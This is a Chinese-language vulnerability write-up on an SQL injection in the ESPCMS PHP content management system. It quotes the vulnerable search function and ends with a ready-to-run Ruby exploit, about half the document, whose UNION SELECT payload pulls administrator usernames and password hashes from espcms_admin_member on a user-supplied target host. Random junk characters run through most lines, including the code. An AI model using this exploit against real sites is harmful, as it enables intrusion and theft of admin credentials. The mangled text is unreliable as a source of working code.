0×0 漏洞概述0×1 漏洞细节 E- T+ e- v( T) c) `6 k
0×2 PoC! i3 `* J8 ?* v. m6 T
7 F/ E% d. D$ ^" w6 e8 F
; p. N: G' o/ N, L; D* }4 T$ V5 O1 W6 Q- N- N
0×0 漏洞概述
1 {" K) J, J) D! g0 q Y _$ l8 |, h% |
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。& |' a) X; s3 s) l$ b
其在处理传入的参数时考虑不严谨导致SQL注入发生8 n* H* T+ Z. E% @8 }
9 w2 \. N* E, ^" u
2 y6 d8 s! [9 y1 }5 V" y0×1 漏洞细节7 o( Y7 C/ ~, H# d$ z3 }* z
+ {, A. F2 I7 I0 {- N* o: t变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
* D ], e0 X1 T- N4 K正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。7 g: @- F! _) u( c/ c q& q
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。2 s3 \1 j/ X! {2 @; R( l
& i, O% V2 H. w$ x. D( |( n
在/interface/3gwap_search.php文件的in_result函数中:& {7 E" x q# B' i. W3 n, s
0 v0 W6 O% u8 C) S- F: J# G' I+ F# P2 n' f
$ J' z& j- A6 _- O7 E
function in_result() {
- N. J H/ q; m0 n; x. K5 W ... ... ... ... ... ... ... ... ...
. [( H7 A' M0 O6 G6 m $urlcode = $_SERVER[ 'QUERY_STRING '];
8 D& e5 h5 K! j% s. Q/ v: R% I parse_str(html_entity_decode($urlcode), $output);
% B0 p N `3 f- e
- | `. V! a- @( R ... ... ... ... ... ... ... ... ...
/ z' E6 k8 n/ X. S3 D' @ if (is_array($output['attr' ]) && count($output['attr']) > 0) {9 t- P" n( z5 r. w9 {
* |+ {. B3 k) v/ x6 e. f; l
$db_table = db_prefix . 'model_att';0 H2 U0 X( J! W5 B- @5 o/ v
+ ?% L$ u2 I% p foreach ($output['attr' ] as $key => $value) {3 p% S9 Y/ a0 ^* k7 @8 T
if ($value) {
& ^3 D& d5 S4 H/ X
1 M1 E+ L& j" f) h* _2 Y) k $key = addslashes($key);
, ~ Z, ]6 ]0 z c $key = $this-> fun->inputcodetrim($key);
' `. m& }3 T5 n( |6 Z( S7 D; c $db_att_where = " WHERE isclass=1 AND attrname='$key'";& b# R/ G" g* J( ]% S$ W
$countnum = $this->db_numrows($db_table, $db_att_where);& Y) D2 u8 k# Z2 J; w K
if ($countnum > 0) {1 @3 ~* S5 k7 m4 [) \
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ; h4 v, a7 F$ }5 b( t
}5 H# g+ J) i0 Q
}
) F1 [- w9 Z6 A) Q- x% m, z }
* X; c* B v8 A3 `. s: i5 r }
; h$ T* w! X$ i# F1 [! P9 Z# v if (!empty ($keyword) && empty($keyname)) {
' \- u; C5 A6 [1 W; `, d! X7 ? h $keyname = 'title';
6 _# i) ~9 K. }* j) H# D $db_where.= " AND a.title like '%$keyword%'" ;
4 O% s. r4 i+ x$ O, ~ } elseif (!empty ($keyword) && !empty($keyname)) {: o$ V/ b* `- h! a4 c
$db_where.= " AND $keyname like '% $keyword%'";
( W+ C9 `, O- E+ D3 v6 H4 } }
& j6 K9 B( ], i' [2 A $pagemax = 15;
1 `2 p' M0 r" F
) f, Q0 j) p' ~! ~ $pagesylte = 1;# I0 Z6 |1 F( I
2 w( m) Q$ z" S) H# o R/ B2 _0 U if ($countnum > 0) {
. [8 ]" N1 M4 r4 p& v, l M) @: m" ]. | S7 k/ H5 L
$numpage = ceil($countnum / $pagemax);
. {7 P6 ]/ d6 | } else {
7 b( r' q' k" r3 i $numpage = 1;
+ I( n, o0 E! e) @5 E }- e% {3 m. m7 G; y+ {6 Q0 y5 x# i
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
4 u. o4 v5 K5 J) i $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);2 r4 |2 Z1 i1 D5 G
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
8 }' b* d3 z" v: ?- d; G ... ... ... ... ... ... ... ... ...
3 N- }2 ?! e7 k% J, L }
# J4 a B! @* L0 _' m; i
( h3 L: }# D! e' Z y8 [9 @3 X
( L& X. R5 @7 g1 i0×2 PoC
: u Z% M- J; ^+ t
. q. v7 m' j3 }+ A* j
# B0 P8 E' e8 L: f$ h" ?
4 X: _( y) q3 [# W# G, J$ Grequire "net/http"
* \+ O6 G9 ^1 g# k }8 W9 W6 M5 N+ Z: q, `! c8 m1 g1 m
def request(method, url)1 f# q* A- s0 v2 y0 Q* {# d" }
if method.eql?("get")
: x8 \! ?9 b& D" b# ? uri = URI.parse(url)
6 S7 Z0 O/ {2 H- [- W) c6 {& W http = Net::HTTP.new(uri.host, uri.port)! t% @& S0 Q% W' A
response = http.request(Net::HTTP::Get.new(uri.request_uri))& Z& v* Y0 j: z5 |2 P: e' q
return response! u: g: a- L" Z$ W% w
end
( l* ~' E% v' @6 `2 Uend
/ |% u9 B! T$ X& z) I2 j, Q7 s& g6 k4 `0 d9 |
doc =<<HERE3 W- ^* l! q$ H, v9 H
-------------------------------------------------------, |) n' A( X4 Z/ ?: L. t- }
Espcms Injection Exploit
/ T8 G- h; z8 N4 ~1 F9 Z; HAuthor:ztz
9 }& m. i9 ]2 @" C, g9 O/ b$ H& {Blog:http://ztz.fuzzexp.org/( q6 M1 |: b% H" C; h9 b
-------------------------------------------------------8 }, y: @! J# ]8 G# v# W0 Y
; J# @& ]2 w4 y5 ^, o- G7 X% I: U- o
HERE
2 \. b+ L( ]) P. v
% V+ B& A! P1 b+ Uusage =<<HERE+ P' K' p7 J. b/ e, z
Usage: ruby #{$0} host port path V4 _8 x& A8 k
example: ruby #{$0} www.target.com 80 /
7 z& ]: S2 j/ R- t" I* iHERE; B5 r. g8 w" r, J& H
( O. s5 s* z5 ], q* A
puts doc: D: k% c6 H2 Z" g
if ARGV.length < 3
* ]3 `/ }) M9 w2 ~' j f6 [ puts usage
- l( l( ]( k* @( H9 d% Lelse2 D1 X9 o" p- Y" V. M
$host = ARGV[0]
b( I( L4 N# w [ $port = ARGV[1]
) j8 O! L: J% \6 F4 h' Y8 [ $path = ARGV[2]
8 n, l- B) h+ h" \( |. W6 V$ | x4 i2 F5 P# Q$ G
puts "send request...", ^5 m* B" p9 r! v3 _
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&$ a& E, _4 ^5 t8 w
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
6 ]# w- }" q( R# ^,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,278 Q g# B/ V1 n3 F' f8 k+ E8 e. Y
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
6 H# r2 p# ^1 H" ?: A response = request("get", url)
4 y% C. k" f3 S2 R* a: K+ O7 n result = response.body.scan(/\w+&\w{32}/)
7 r' Q1 w4 f% V, q puts result4 C5 X" m+ C" K4 v: d9 T$ L
end
' U) ?- v- D4 Z7 K O! l1 m: d8 C$ X( K9 `
|